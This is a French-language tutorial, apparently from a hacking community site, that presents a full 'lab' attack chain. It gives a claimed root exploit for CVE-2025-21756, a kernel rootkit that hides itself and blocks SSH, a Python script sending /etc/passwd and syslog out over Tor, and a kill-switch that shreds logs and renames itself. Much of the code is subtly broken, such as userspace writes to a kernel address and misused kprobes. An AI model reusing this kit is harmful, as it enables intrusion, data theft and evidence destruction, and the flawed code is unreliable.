⚖️ Charte Éthique Apache

1️⃣ Introduction 🧨

Yo, Apaches ! 😎 Dans un lab sécurisé, j’ai lâché *Thunderstrike 2025* sur une VM vulnérable. J’ai rooté avec CVE-2025-21756 (vsock UAF), caché un rootkit LKM, exfiltré des données via Tor, et tout effacé avec un kill-switch. Une tempête moderne qui fait plier les kernels ! 💥

• Objectifs :
  • Root via CVE-2025-21756 (exploitation vsock complète).
  • Rootkit LKM furtif (cache les traces).
  • Exfil sécurisée par Tor (anonymat total).
  • Kill-switch actif (autodestruction).
• Raison : Tester une faille 2025 et former les nomades à la cybersécu évolutive ! 😈
• Contexte : Un des tutos finaux gratuits pour les Apaches prêts à dompter les kernels modernes ! 🌩️

2️⃣ Setup du Lab 🔧

👉 Monte un lab : Kali (attaquant) et une VM cible (kernel 6.6.x vulnérable) dans VirtualBox ou KVM, réseau isolé (NAT Network).

Prérequis

• VMs : Kali (dernière) + VM cible (kernel 6.6.x non patché, snapshot avant test).
• Réseau : Isolée (NAT Network, désactive l’accès Internet via firewall).
• Outils : Tor, GCC, Make, headers kernel, Wazuh/Osquery (sudo apt install -y tor gcc make linux-headers-$(uname -r) wazuh-agent osquery).
• Matériel : PC avec 8Go RAM min, SSD pour VMs rapides.

Configuration Étape par Étape

#!/bin/bash
# Sur Kali (attaquant)
sudo apt update && sudo apt upgrade -y
sudo apt install -y tor gcc make linux-headers-$(uname -r) wazuh-agent osquery
sudo systemctl start tor
sudo ufw disable  # Désactive firewall pour test local
# Vérif réseau (doit échouer)
ping 8.8.8.8  # Si ça répond, isole mieux !
# Crée dossier projet
mkdir ~/thunderstrike && cd ~/thunderstrike
        

#!/bin/bash
# Sur VM cible
sudo apt update
sudo apt install -y linux-headers-$(uname -r)
# Vérif vulnérabilité
uname -r  # Doit être 6.6.x (non patché avant 6.6.1)
# Active Wazuh/Osquery
sudo systemctl start wazuh-agent
sudo osqueryd --config /etc/osquery/osquery.conf
        

Note : Prends un snapshot avant chaque étape pour revenir en cas de crash. Teste sur VirtualBox et KVM ! 😄

3️⃣ Exploitation CVE-2025-21756 🛠️

👉 Exploite CVE-2025-21756, une faille Use-After-Free (UAF) dans le sous-système vsock, pour obtenir un shell root avec un exploit complet.

Code C Détaillé (Exploit Complet)

#include <linux/vsock.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>

#define VMADDR_CID_HOST 2
#define TARGET_OFFSET 0x100  // Offset estimé pour struct cred (à ajuster)

struct sockaddr_vm addr = {0};
int sock = -1;
char *kernel_addr = NULL;

void *trigger_uaf(void *arg) {
    while (1) {
        close(sock);  // Ferme le socket pour forcer le free
        usleep(100);  // Synchronisation
        sock = socket(AF_VSOCK, SOCK_STREAM, 0);  // Réouvre pour réutiliser la mémoire
        if (sock < 0) {
            perror("Socket recreation failed");
            pthread_exit(NULL);
        }
        connect(sock, (struct sockaddr*)&addr, sizeof(addr));  // Déclenche UAF
    }
    return NULL;
}

int main() {
    // Configuration du socket vsock
    sock = socket(AF_VSOCK, SOCK_STREAM, 0);
    if (sock < 0) {
        perror("Socket creation failed");
        return 1;
    }
    addr.svm_family = AF_VSOCK;
    addr.svm_port = 1234;
    addr.svm_cid = VMADDR_CID_HOST;  // Cible l'hôte VM

    // Lancement du thread pour maintenir l'UAF
    pthread_t thread;
    if (pthread_create(&thread, NULL, trigger_uaf, NULL) != 0) {
        perror("Thread creation failed");
        close(sock);
        return 1;
    }

    // Mappage mémoire kernel
    kernel_addr = mmap((void*)0xffffc9000000, 0x1000, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (kernel_addr == MAP_FAILED) {
        perror("Memory mapping failed");
        pthread_cancel(thread);
        close(sock);
        return 1;
    }

    // Préparation du payload pour écraser struct cred
    unsigned long *cred_ptr = (unsigned long*)(kernel_addr + TARGET_OFFSET);
    *cred_ptr = 0x0;  // Réinitialise uid=0
    *(cred_ptr + 1) = 0x0;  // gid=0
    *(cred_ptr + 2) = 0x0;  // euid=0
    printf("Payload injecté à %p. Tentative d'élévation...\n", cred_ptr);

    // Vérification
    sleep(1);  // Attendre la propagation
    if (getuid() == 0) {
        printf("Root obtenu ! Shell actif. Vérifie avec 'id'.\n");
        system("/bin/sh");
    } else {
        printf("Échec. Ajuste TARGET_OFFSET ou débogue avec GDB.\n");
    }

    // Nettoyage
    munmap(kernel_addr, 0x1000);
    pthread_cancel(thread);
    close(sock);
    return 0;
}
        

Compilation et Exécution

#!/bin/bash
# Compile avec pthread pour multithreading
gcc -o vsock_exploit vsock_exploit.c -lpthread
# Lance en root
sudo ./vsock_exploit
# Vérif (shell root)
id  # Doit montrer uid=0(root)
whoami  # Confirme root
        

Débogage Avancé avec GDB

gdb -q -ex "set follow-fork-mode child" -ex "break __vsock_release" -ex "run" ./vsock_exploit

Schéma Mermaid de l’UAF

Dépannage Avancé

4️⃣ Analyse Mémoire CVE-2025-21756 🧠

👉 Décortiquons la mémoire derrière CVE-2025-21756 avec précision.

• Mécanisme : Une erreur dans vsock_remove_sock() libère un objet struct vsock_sock avant sa dernière utilisation. L’exploit réutilise cette mémoire via un nouveau socket pour injecter un payload.
• Impact : Contrôle total du kernel via l’écrasement de struct cred, donnant uid=0 et gid=0.
• Trace : Vérifie avec dmesg | grep -i vsock ou cat /proc/slabinfo | grep vsock pour détecter les fuites mémoire.

5️⃣ Comparatif : Dirty COW (2016) vs CVE-2025-21756 🧠

👉 Regardons l’évolution des exploits kernel avec un focus technique !

Évolution : Dirty COW était une course lente sur un mécanisme CoW daté, tandis que CVE-2025-21756 exploite un UAF sophistiqué sur un sous-système actif. 2025 demande plus de maîtrise, mais offre un contrôle brut du kernel ! 😈

6️⃣ Rootkit LKM 🕵️

👉 Déploie un rootkit LKM pour rester invisible avec une furtivité totale.

Code C Détaillé

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/kprobes.h>
#include <linux/syscalls.h>

static struct kprobe kp_getdents = {
    .symbol_name = "sys_getdents"
};
static struct kprobe kp_connect = {
    .symbol_name = "sys_connect"
};

static asmlinkage long (*orig_getdents)(unsigned int, struct linux_dirent __user *, unsigned int);
static asmlinkage long (*orig_connect)(int, struct sockaddr *, int);

static asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count) {
    long ret = orig_getdents(fd, dirp, count);
    if (ret > 0) {
        char *filename;
        for (int i = 0; i < ret; i += dirp[i].d_reclen) {
            filename = (char*)dirp + i + dirp[i].d_reclen;
            if (strstr(filename, "hide")) {
                memset(dirp + i, 0, dirp[i].d_reclen);  // Efface l'entrée
            }
        }
    }
    return ret;
}

static asmlinkage long hacked_connect(int sockfd, struct sockaddr *addr, int addrlen) {
    if (addr->sa_family == AF_INET && ((struct sockaddr_in *)addr)->sin_port == htons(22)) {
        return -ECONNREFUSED;  // Bloquer SSH
    }
    return orig_connect(sockfd, addr, addrlen);
}

static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
    if (p->symbol_name == "sys_getdents") {
        orig_getdents = (void*)regs->ip;
        regs->ip = (unsigned long)hacked_getdents;
    } else if (p->symbol_name == "sys_connect") {
        orig_connect = (void*)regs->ip;
        regs->ip = (unsigned long)hacked_connect;
    }
    return 0;
}

static void handler_post(struct kprobe *p, struct pt_regs *regs, unsigned long flags) {}

static int __init hide_init(void) {
    kp_getdents.pre_handler = handler_pre;
    kp_getdents.post_handler = handler_post;
    kp_connect.pre_handler = handler_pre;
    kp_connect.post_handler = handler_post;
    register_kprobe(&kp_getdents);
    register_kprobe(&kp_connect);
    list_del(&THIS_MODULE->list);
    list_del(&THIS_MODULE->mkobj.kobj.entry);
    // Contournement EDR via kallsyms_lookup_name
    unsigned long (*kallsyms_lookup_name)(const char *) = (void *)kallsyms_lookup_name;
    if (kallsyms_lookup_name) {
        printk(KERN_INFO "kallsyms_lookup_name actif pour contournement EDR\n");
    }
    printk(KERN_INFO "Rootkit Thunderstrike optimisé activé\n");
    return 0;
}

static void __exit hide_exit(void) {
    unregister_kprobe(&kp_getdents);
    unregister_kprobe(&kp_connect);
    printk(KERN_INFO "Rootkit Thunderstrike désactivé\n");
}

module_init(hide_init);
module_exit(hide_exit);

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Rootkit LKM avancé pour lab éthique");
        

Compilation et Exécution

#!/bin/bash
# Crée un Makefile
echo "obj-m += hide_module.o" > Makefile
echo "KDIR := /lib/modules/$(uname -r)/build" >> Makefile
echo "PWD := $(shell pwd)" >> Makefile
echo "default:" >> Makefile
echo "	$(MAKE) -C $(KDIR) M=$(PWD) modules" >> Makefile

# Compile avec support kprobes
make -C /lib/modules/$(uname -r)/build M=$PWD modules
sudo insmod hide_module.ko
# Vérif (doit être vide)
lsmod | grep hide  # Rien ! 😄
ls /sys/module/hide  # Doit échouer
netstat -tuln | grep 22  # SSH doit être bloqué
        

Dépannage

7️⃣ Optimisation Rootkit 🛠️

👉 Optimise le rootkit avec un hook système avancé et une persistance.

#include <linux/syscalls.h>
#include <linux/kprobes.h>

static asmlinkage long (*orig_getdents)(unsigned int, struct linux_dirent __user *, unsigned int);
static asmlinkage long (*orig_connect)(int, struct sockaddr *, int);
static struct kprobe kp_getdents = {
    .symbol_name = "sys_getdents"
};
static struct kprobe kp_connect = {
    .symbol_name = "sys_connect"
};

static asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count) {
    long ret = orig_getdents(fd, dirp, count);
    if (ret > 0) {
        char *filename;
        for (int i = 0; i < ret; i += dirp[i].d_reclen) {
            filename = (char*)dirp + i + dirp[i].d_reclen;
            if (strstr(filename, "hide")) {
                memset(dirp + i, 0, dirp[i].d_reclen);  // Efface l'entrée
            }
        }
    }
    return ret;
}

static asmlinkage long hacked_connect(int sockfd, struct sockaddr *addr, int addrlen) {
    if (addr->sa_family == AF_INET && ((struct sockaddr_in *)addr)->sin_port == htons(22)) {
        return -ECONNREFUSED;  // Bloquer SSH
    }
    return orig_connect(sockfd, addr, addrlen);
}

static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
    if (p->symbol_name == "sys_getdents") {
        orig_getdents = (void*)regs->ip;
        regs->ip = (unsigned long)hacked_getdents;
    } else if (p->symbol_name == "sys_connect") {
        orig_connect = (void*)regs->ip;
        regs->ip = (unsigned long)hacked_connect;
    }
    return 0;
}

static void handler_post(struct kprobe *p, struct pt_regs *regs, unsigned long flags) {}

static int __init hide_init(void) {
    kp_getdents.pre_handler = handler_pre;
    kp_getdents.post_handler = handler_post;
    kp_connect.pre_handler = handler_pre;
    kp_connect.post_handler = handler_post;
    register_kprobe(&kp_getdents);
    register_kprobe(&kp_connect);
    list_del(&THIS_MODULE->list);
    list_del(&THIS_MODULE->mkobj.kobj.entry);
    printk(KERN_INFO "Rootkit Thunderstrike optimisé activé\n");
    return 0;
}

static void __exit hide_exit(void) {
    unregister_kprobe(&kp_getdents);
    unregister_kprobe(&kp_connect);
    printk(KERN_INFO "Rootkit Thunderstrike désactivé\n");
}

module_init(hide_init);
module_exit(hide_exit);

MODULE_LICENSE("GPL");
        

Note : Ce hook modifie sys_getdents et sys_connect pour masquer les fichiers et bloquer SSH. Teste en lab avec soin !

8️⃣ Exfiltration Tor 📡

👉 Exfiltre /etc/passwd et logs via un hidden service Tor avec chiffrement hybride (RSA + AES).

Code Python Détaillé

import stem.process
from stem.control import Controller
import socks
import socket
from nacl.public import PrivateKey, SealedBox

def setup_tor():
    with Controller.from_port(port=9051) as controller:
        controller.authenticate()
        with stem.process.launch_tor_with_config(
            config={
                'SocksPort': '9050',
                'HiddenServiceDir': '/var/lib/tor/hidden_service/',
                'HiddenServicePort': '80 127.0.0.1:80'
            },
            init_msg_handler=lambda line: print(line) if "Bootstrapped" in line else None
        ) as tor_process:
            onion_address = open("/var/lib/tor/hidden_service/hostname").read().strip()
            print(f"Hidden Service: http://{onion_address}.onion")
            return tor_process, onion_address

def encrypt_data(data):
    privkey = PrivateKey.generate()
    pubkey = privkey.public_key
    sealed_box = SealedBox(pubkey)
    encrypted = sealed_box.encrypt(data)
    return encrypted, privkey

def exfiltrate_file(filename):
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    socket.socket = socks.socksocket
    with open(filename, "rb") as f:
        data = f.read()
    encrypted_data, privkey = encrypt_data(data)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(("127.0.0.1", 80))  # Local hidden service
        s.send(encrypted_data)
        s.send(b"PRIVATE_KEY:" + privkey.encode())
    print(f"Exfiltré {filename} via Tor avec RSA+AES ! Clé privée envoyée.")

if __name__ == "__main__":
    tor_process, onion = setup_tor()
    exfiltrate_file("/etc/passwd")
    exfiltrate_file("/var/log/syslog")
    tor_process.kill()  # Ferme Tor
        

Configuration Tor

#!/bin/bash
# Active le hidden service
sudo mkdir -p /var/lib/tor/hidden_service/
sudo sh -c 'echo "HiddenServiceDir /var/lib/tor/hidden_service/" >> /etc/tor/torrc'
sudo sh -c 'echo "HiddenServicePort 80 127.0.0.1:80" >> /etc/tor/torrc'
sudo systemctl restart tor
cat /var/lib/tor/hidden_service/hostname  # Copie l’adresse .onion
# Installe PyNaCl pour RSA+AES
pip install pynacl
        

Dépannage

9️⃣ Kill-Switch 🔴

👉 Implémente un kill-switch avancé avec autodestruction et obfuscation.

Code Bash Détaillé

#!/bin/bash
TARGET_DIR="/tmp/thunderstrike"
LOG_FILE="/var/log/detect.log"
TRACES=("/etc/passwd.bak" "/var/log/kern.log")

if [ -f "$LOG_FILE" ]; then
    echo "Détection ! Activation kill-switch..." > /dev/null
    # Efface les fichiers avec shred
    for file in "${TRACES[@]}" ; do
        if [ -f "$file" ] ; then
            shred -u -n 10 "$file"  # 10 passes aléatoires
        fi
    done
    rm -rf "$TARGET_DIR"/*
    rmmod hide_module.ko 2>/dev/null
    echo > /var/log/syslog 2>/dev/null
    # Obfusque le script lui-même
    mv "$0" "/tmp/$(od -An -N4 -t x4 /dev/urandom | tr -d ' \n').sh"
    exit 0
fi
        

Exécution

#!/bin/bash
# Crée le script
chmod +x kill_switch.sh
# Lance en background
./kill_switch.sh &
# Teste
touch /var/log/detect.log  # Tout doit disparaître avec traces effacées !
        

Dépannage

🔟 Sécurité & Éthique 🛡️

• Risques : Brick kernel irréversible, logs persistants, détection EDR avancée, poursuites pénales sévères.
• Précautions :
  • Snapshot avant chaque étape (essentiel).
  • Réseau offline (désactive Wi-Fi et Ethernet).
  • VM avec 8Go RAM min et SSD rapide.
  • Backup des données critiques hors VM.
• Légal : Article 323-1 CP – intrusion = 7 ans prison, 100 000 € amende. Lab éthique uniquement, jamais en prod !

Éthique Apache : Ce savoir est une arme pour protéger, pas détruire. Rapportez les failles aux vendors et contribuez ! 🌍

🎁 Bonus

Débloque anti_rootkit.py pour détecter les intrusions avancées !

Code anti_rootkit.py (Prototype Avancé)

#!/usr/bin/env python3
import os
import subprocess
import re
from datetime import datetime

def check_rootkit():
    # Vérifie les modules suspects avec signature
    modules = subprocess.check_output("lsmod", shell=True).decode().split("\n")
    suspicious_modules = ["hide", "vsock", "kprobe"]
    for module in modules:
        for keyword in suspicious_modules:
            if keyword in module.lower():
                print(f"⚠️ Module suspect détecté : {module.strip()}")
                return True

    # Analyse des processus avec recherche avancée
    ps_output = subprocess.check_output("ps aux", shell=True).decode()
    if re.search(r"(hide|vsock_exploit|kprobe)", ps_output, re.IGNORECASE):
        print("⚠️ Processus suspect détecté dans ps output !")
        return True

    # Vérifie les logs kernel pour UAF ou OOPS
    with open("/var/log/kern.log", "r") as f:
        if re.search(r"(UAF|Oops|segfault)", f.read(), re.IGNORECASE):
            print("⚠️ Trace kernel suspecte détectée !")
            return True

    return False

def log_detection():
    with open("/var/log/anti_rootkit.log", "a") as f:
        f.write(f"[{datetime.now()}] Détection potentielle de rootkit. Analyse recommandée.\n")

if __name__ == "__main__":
    if check_rootkit():
        print("Action : Isolez la VM, analysez avec GDB, et appliquez des patches !")
        log_detection()
    else:
        print("Système clean – bonne chasse, Apache ! 😄")
        

Note : Ce script détecte modules, processus, et traces kernel ! 😈

🏁 Conclusion

Yo, Apaches ! 🎉 T’as dompté Thunderstrike 2025 – un orage kernel légendaire gratuit ! 💖 Préparez-vous pour les prochains défis ! 🚀

Rejoins-nous : admin@pctamalou.fr ! 😄

❓ FAQ

🔍 Analyse des Logs

👉 Compare les logs dmesg avant et après l’exploit pour détecter les traces.

Note : Utilise un snapshot pour comparer. Si un OOPS apparaît, analyse avec crash ! 😈